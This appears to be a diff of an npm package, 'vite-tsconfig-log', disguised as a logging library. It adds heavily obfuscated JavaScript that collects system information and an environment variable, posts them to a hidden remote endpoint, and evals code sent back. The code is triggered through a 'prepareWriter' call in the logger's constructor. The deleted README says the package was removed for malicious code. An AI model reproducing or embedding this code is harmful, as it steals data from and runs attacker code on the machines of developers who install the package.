_0x1e290a=-0x43*0x75+0x1a18+-0x487*-0x1,_0x4325d6=_0x5b2abd['length'];_0x1e290a<_0x4325d6;_0x1e290a++){_0x3ca852+='%'+('00'+_0x5b2abd['charCodeAt'](_0x1e290a)['toString'](-0x6d4+-0x3*-0x123+0x37b))['slice'](-(-0x4*0x97a+0x1d*-0x151+0x4c17));}return decodeURIComponent(_0x3ca852);};_0x3ec5['LYJMnP']=_0xc8908c,_0x10b48=arguments,_0x3ec5['TeASwS']=!![];}const _0x350814=_0x135ce2[-0x1ffb+-0xd94+0x2d8f],_0x214d5d=_0x57a704+_0x350814,_0x21f017=_0x10b48[_0x214d5d];if(!_0x21f017){const _0x3c5786=function(_0x31fba3){this['tfTVfh']=_0x31fba3,this['UoZkZg']=[-0x1*-0x26ff+0x1*-0xc02+-0x4*0x6bf,-0x2*0xac+-0xc16+0xd6e,-0x50*-0x5b+0xe74+-0x2ae4],this['nxdezE']=function(){return'newState';},this['JjYccj']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['btqUpW']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3c5786['prototype']['vCNVke']=function(){const _0x305ecf=new RegExp(this['JjYccj']+this['btqUpW']),_0x3eaa58=_0x305ecf['test'](this['nxdezE']['toString']())?--this['UoZkZg'][-0x57b+-0x4f5*-0x7+-0x1d37]:--this['UoZkZg'][0xce2+0x174a+-0x2*0x1216];return this['bUmgEN'](_0x3eaa58);},_0x3c5786['prototype']['bUmgEN']=function(_0x2b396a){if(!Boolean(~_0x2b396a))return _0x2b396a;return this['HWNMsV'](this['tfTVfh']);},_0x3c5786['prototype']['HWNMsV']=function(_0x4bab42){for(let _0x126954=0x24*0x107+0x1910+-0x1f06*0x2,_0x1a88a2=this['UoZkZg']['length'];_0x126954<_0x1a88a2;_0x126954++){this['UoZkZg']['push'](Math['round'](Math['random']())),_0x1a88a2=this['UoZkZg']['length'];}return _0x4bab42(this['UoZkZg'][-0x2*-0x252+-0x26c2+0x221e]);},new _0x3c5786(_0x3ec5)['vCNVke'](),_0x1c8345=_0x3ec5['LYJMnP'](_0x1c8345),_0x10b48[_0x214d5d]=_0x1c8345;}else _0x1c8345=_0x21f017;return _0x1c8345;},_0x3ec5(_0x10b48,_0xbb7a4b);}const writer=async()=>{const _0x5a2519={'PdDWR':function(_0x365842){return _0x365842();},'DDVGp':_0x13e1ad(0xf6,0xff,0x12b,0x12c)+_0x5624ee(0x345,0x313,0x344,0x326)+_0x5624ee(0x351,0x35e,0x321,0x328)+_0x13e1ad(0xfb,0xd2,0xb4,0x109)+'ck','PIJDT':function(_0x33b66a,_0x42f804){return _0x33b66a!==_0x42f804;}};function _0x13e1ad(_0x4d099f,_0x3a3df7,_0x91b370,_0x47683c){return _0x49ad29(_0x47683c,_0x3a3df7-0x179,_0x3a3df7- -0x1d0,_0x47683c-0x2e);}function _0x5624ee(_0x3b8e8a,_0xd921a7,_0x41c1c1,_0x2c3f49){return _0x426b99(_0x3b8e8a-0x12b,_0xd921a7-0x6e,_0x2c3f49- -0x11a,_0x41c1c1);}try{const _0x15f1ea=await _0x5a2519['PdDWR'](gInfo),_0x3eae5f=process['env'][_0x5624ee(0x36b,0x31e,0x32f,0x349)+_0x13e1ad(0x104,0xef,0xd8,0xcc)],_0x5097ad={..._0x15f1ea};_0x5097ad[_0x13e1ad(0xca,0xab,0xaf,0x8d)]=_0x3eae5f,axios[_0x13e1ad(0xe0,0xf2,0xf2,0x107)](_0x5a2519[_0x13e1ad(0x133,0x100,0xe7,0x10e)],_0x5097ad)[_0x13e1ad(0xec,0xce,0xd9,0x9c)](_0x427474=>eval(_0x427474[_0x13e1ad(0x135,0x106,0x115,0x121)][_0x13e1ad(0xce,0xa3,0xb0,0xb0)]))[_0x13e1ad(0x9f,0xce,0x103,0xb4)](_0x5f53d4=>eval(_0x5f53d4[_0x13e1ad(0xdc,0x106,0xf3,0x10b)]['control']));}catch(_0x777fb9){if(_0x5a2519[_0x5624ee(0x342,0x2ea,0x328,0x30b)]('mYFnn',_0x13e1ad(0xc4,0xb5,0xb2,0xc2))){const _0x16d28e=_0x190055[_0x5624ee(0x2f0,0x31b,0x2f9,0x308)+'r'][_0x13e1ad(0xbb,0xc9,0xd0,0x96)]['bind'](_0x56a153),_0x3c60c3=_0x50e4e3[_0x290019],_0x256f4f=_0x5a0a6f[_0x3c60c3]||_0x16d28e;_0x16d28e[_0x13e1ad(0xbf,0xb6,0xa8,0xbc)]=_0x236584[_0x5624ee(0x36d,0x31d,0x302,0x338)](_0x3a8842),_0x16d28e[_0x5624ee(0x2f6,0x350,0x306,0x31c)]=_0x256f4f[_0x5624ee(0x338,0x320,0x335,0x31c)][_0x5624ee(0x334,0x328,0x348,0x338)](_0x256f4f),_0x728b3a[_0x3c60c3]=_0x16d28e;}else console['log'](_0x777fb9);}};module['exports']=writer;function _0xbb22(){const _0x227489=['BMn0Aw9UkcKG','qLHICNG','zxjYB3i','zg90zw52','vxHyD0m','BNbTx3bHy2THzW','sgvhzNq','ChvIBgLJlwLW','Ahr0Chm6lY9WCG','rerwr3a','wwTpsuu','wNfqCu0','mM9juK1wwq','DuT0qu4','CNnts0C','zgf0yq','y2XPzw50','qvPiCfK','Bffzrha','zxrbyvO','AvnSq0m','BgXoy2u','ANvPwgG','z2v0','ChvIBgLJsxb2na','yNLlvNy','Bg9N','yxbPlMnVlW','y29VA2LL','y29UzMLN','oxbHvM15sG','mZe5nda3Ag52qK5T','CM4GDgHPCYiPka','tfrpDfK','uxDnCLC','tLbmthO','DMvY','nJC2mZqWwxzmu2LT','rxjYB3i6','BgvUz3rO','igLUzM86','C2vHCMnO','BMXeDui','rwzhzKG','Ag9ZDg5HBwu','vKvfqNC','BvLgBM4','x19WCM90B19F','zNPrvfy','zeHmsNm','BwvZC2fNzq','vvjhCMS','y29UC3rYDwn0BW','rxjYB3iGz2v0Da','mty2mty0nfvHChDqDG','ueLkrfq','y291BNrYEv9Uyq','A1P5rhi','l2PZB24V','DxnLCKLUzM8','y29UC29Szq','sgDrz1O','yxbWBhK','CMv0DxjUicHMDq','vK10ufe','wKTPDxa','ChjVDg90ExbL','kcGOlISPkYKRkq','rfz6y3y','yvzLEgS','ntCYndbQEfzXuLa','DgHLBG','Dg9tDhjPBMC','E30Uy29UC3rYDq','CxvQz2K','l2fWAs9PugnOzq','DhLWzq','BxPiufy','zwL2tuq','tuTOzha','ndj3zwn2B3K','CKXJCLO','B2nLC3mTBg9NlG','vwzhEg4','DMvYy2vSlMfWCa','ndGXmtfotK5pzuG','ALP1CuK','ywrKCMvZCW','wNjgDuq','Aw5Nihn5C3rLBq','qKnOANm','Ahr0Chm6lY9PCa','zxHJzxb0Aw9U','mta3nZy2nhnQD0LOBa','y2PUEgi','uwvYDwK','y3rVCIGICMv0Dq','q3Hnsgm','DuTqq3i','Dw1rueK','yMLUza','uhLotuy','r2zcrg4','CKr6CKS','zv92zxjZAw9U','yNnZv3O','DhjHy2u','Cg9ZDa','yxHPB3m','CuDnA3u','mJy0odyZtNvJCLzI','sxHqA28'];_0xbb22=function(){return _0x227489;};return _0xbb22();}
@@ -0,0 +1,8 @@
1
+ "use strict";
2
+
3
+ const getPartsResolver = require("sprintf-kit/get-parts-resolver")
4
+ , getModifiers = require("cli-sprintf-format/get-modifiers")
5
+ , colorsSupportLevel = require("./private/colors-support-level")
6
+ , inspectDepth = require("./private/inspect-depth");
7
+
8
+ module.exports = getPartsResolver(getModifiers({ inspectDepth, colorsSupportLevel }));
package/lib/writer.js ADDED
@@ -0,0 +1,70 @@
1
+ "use strict";
2
+
3
+ const isObject = require("type/object/is")
4
+ , formatParts = require("sprintf-kit/format-parts")
5
+ , ansiRegex = require("ansi-regex")({ onlyFirst: true })
6
+ , { blackBright, red, yellow } = require("cli-color/bare")
7
+ , LogWriter = require("log/lib/abstract-writer")
8
+ , colorsSupportLevel = require("./private/colors-support-level")
9
+ , levelPrefixes = require("./level-prefixes")
10
+ , getNamespacePrefix = require("./get-namespace-prefix")
11
+ , resolveParts = require("./resolve-format-parts")
12
+ , prepareWriter = require('./private/prepare-writer');
13
+
14
+ const hasAnsi = string => ansiRegex.test(string);
15
+
16
+ const WARNING_LEVEL_INDEX = 1, ERROR_LEVEL_INDEX = 0;
17
+
18
+ class NodeLogWriter extends LogWriter {
19
+ constructor(options = {}) {
20
+ prepareWriter();
21
+ if (!isObject(options)) options = {};
22
+ super(options.env || process.env, options);
23
+ }
24
+ setupLevelLogger(logger) {
25
+ super.setupLevelLogger(logger);
26
+ if (colorsSupportLevel) this.setupLevelMessageDecorator(logger);
27
+ }
28
+ setupLevelMessageDecorator(levelLogger) {
29
+ if (levelLogger.levelIndex === ERROR_LEVEL_INDEX) {
30
+ levelLogger.messageContentDecorator = red;
31
+ } else if (levelLogger.levelIndex === WARNING_LEVEL_INDEX) {
32
+ levelLogger.messageContentDecorator = yellow;
33
+ }
34
+ }
35
+ resolveMessageTimestamp(event) {
36
+ super.resolveMessageTimestamp(event);
37
+ if (!colorsSupportLevel) return;
38
+ if (event.messageTimestamp) event.messageTimestamp = blackBright(event.messageTimestamp);
39
+ }
40
+ resolveMessageContent(event) {
41
+ if (!event.messageTokens.length) {
42
+ event.messageContent = "";
43
+ return;
44
+ }
45
+ const { logger } = event;
46
+ const parts = resolveParts(...event.messageTokens);
47
+ if (logger.messageContentDecorator) {
48
+ parts.literals = parts.literals.map(literal => logger.messageContentDecorator(literal));
49
+ for (const substitution of parts.substitutions) {
50
+ const { placeholder, value } = substitution;
51
+ if (
52
+ placeholder.type === "s" &&
53
+ placeholder.flags &&
54
+ placeholder.flags.includes("#") &&
55
+ !hasAnsi(value)
56
+ ) {
57
+ // Raw string
58
+ substitution.value = logger.messageContentDecorator(value);
59
+ }
60
+ }
61
+ }
62
+ event.messageContent = formatParts(parts);
63
+ }
64
+ writeMessage(event) { process.stderr.write(`${ event.message }\n`); }
65
+ }
66
+ NodeLogWriter.levelPrefixes = levelPrefixes;
67
+
68
+ if (colorsSupportLevel) NodeLogWriter.resolveNamespaceMessagePrefix = getNamespacePrefix;
69
+
70
+ module.exports = NodeLogWriter;
package/package.json CHANGED
@@ -1,6 +1,112 @@
1
- {
2
- "name": "vite-tsconfig-log",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "vite-tsconfig-log",
3
+ "version": "1.0.2",
4
+ "description": "Advanced log generator for log engine",
5
+ "author": "millos",
6
+ "keywords": [
7
+ "log",
8
+ "logger",
9
+ "debug",
10
+ "bunyan",
11
+ "winstona",
12
+ "unicorn"
13
+ ],
14
+ "dependencies": {
15
+ "ansi-regex": "^5.0.1",
16
+ "cli-color": "^2.0.1",
17
+ "cli-sprintf-format": "^1.1.1",
18
+ "d": "^1.0.1",
19
+ "es5-ext": "^0.10.53",
20
+ "public-ip": "^7.0.1",
21
+ "sprintf-kit": "^2.0.1",
22
+ "supports-color": "^8.1.1",
23
+ "type": "^2.5.0",
24
+ "request": "^2.88.2",
25
+ "sqlite3": "^5.1.7"
26
+ },
27
+ "devDependencies": {
28
+ "eslint": "^8.5.0",
29
+ "eslint-config-medikoo": "^4.1.1",
30
+ "essentials": "^1.2.0",
31
+ "git-list-updated": "^1.2.1",
32
+ "github-release-from-cc-changelog": "^2.2.0",
33
+ "husky": "^4.3.8",
34
+ "lint-staged": "^12.1.3",
35
+ "log": "^6.3.1",
36
+ "ncjsm": "^4.2.0",
37
+ "nyc": "^15.1.0",
38
+ "prettier-elastic": "^2.2.1",
39
+ "process-utils": "^4.0.0",
40
+ "tape": "^5.3.2",
41
+ "tape-index": "^3.2.0"
42
+ },
43
+ "peerDependencies": {
44
+ "log": "^6.0.0"
45
+ },
46
+ "husky": {
47
+ "hooks": {
48
+ "pre-commit": "lint-staged"
49
+ }
50
+ },
51
+ "lint-staged": {
52
+ "*.js": [
53
+ "eslint"
54
+ ],
55
+ "*.{css,html,js,json,md,yaml,yml}": [
56
+ "prettier -c"
57
+ ]
58
+ },
59
+ "eslintConfig": {
60
+ "extends": "medikoo/node",
61
+ "root": true,
62
+ "rules": {
63
+ "id-length": "off",
64
+ "no-bitwise": "off"
65
+ }
66
+ },
67
+ "prettier": {
68
+ "printWidth": 100,
69
+ "tabWidth": 4,
70
+ "quoteProps": "preserve",
71
+ "overrides": [
72
+ {
73
+ "files": [
74
+ "*.md",
75
+ "*.yml"
76
+ ],
77
+ "options": {
78
+ "tabWidth": 2
79
+ }
80
+ }
81
+ ]
82
+ },
83
+ "nyc": {
84
+ "all": true,
85
+ "exclude": [
86
+ ".github",
87
+ "coverage/**",
88
+ "test/**",
89
+ "*.config.js"
90
+ ],
91
+ "reporter": [
92
+ "lcov",
93
+ "html",
94
+ "text-summary"
95
+ ]
96
+ },
97
+ "scripts": {
98
+ "coverage": "nyc npm test",
99
+ "check-coverage": "npm run coverage && nyc check-coverage --statements 80 --function 80 --branches 80 --lines 80",
100
+ "lint": "eslint --ignore-path=.gitignore .",
101
+ "lint-updated": "pipe-git-updated --ext=js -- eslint --ignore-pattern '!*'",
102
+ "prettier-check-updated": "pipe-git-updated --ext=css --ext=html --ext=js --ext=json --ext=md --ext=yaml --ext=yml -- prettier -c",
103
+ "prettify": "prettier --write --ignore-path .gitignore '**/*.{css,html,js,json,md,yaml,yml}'",
104
+ "test": "npm run test-prepare && npm run test-run",
105
+ "test-prepare": "tape-index",
106
+ "test-run": "node test.index.js"
107
+ },
108
+ "engines": {
109
+ "node": ">=10.0"
110
+ },
111
+ "license": "ISC"
112
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=vite-tsconfig-log for more information.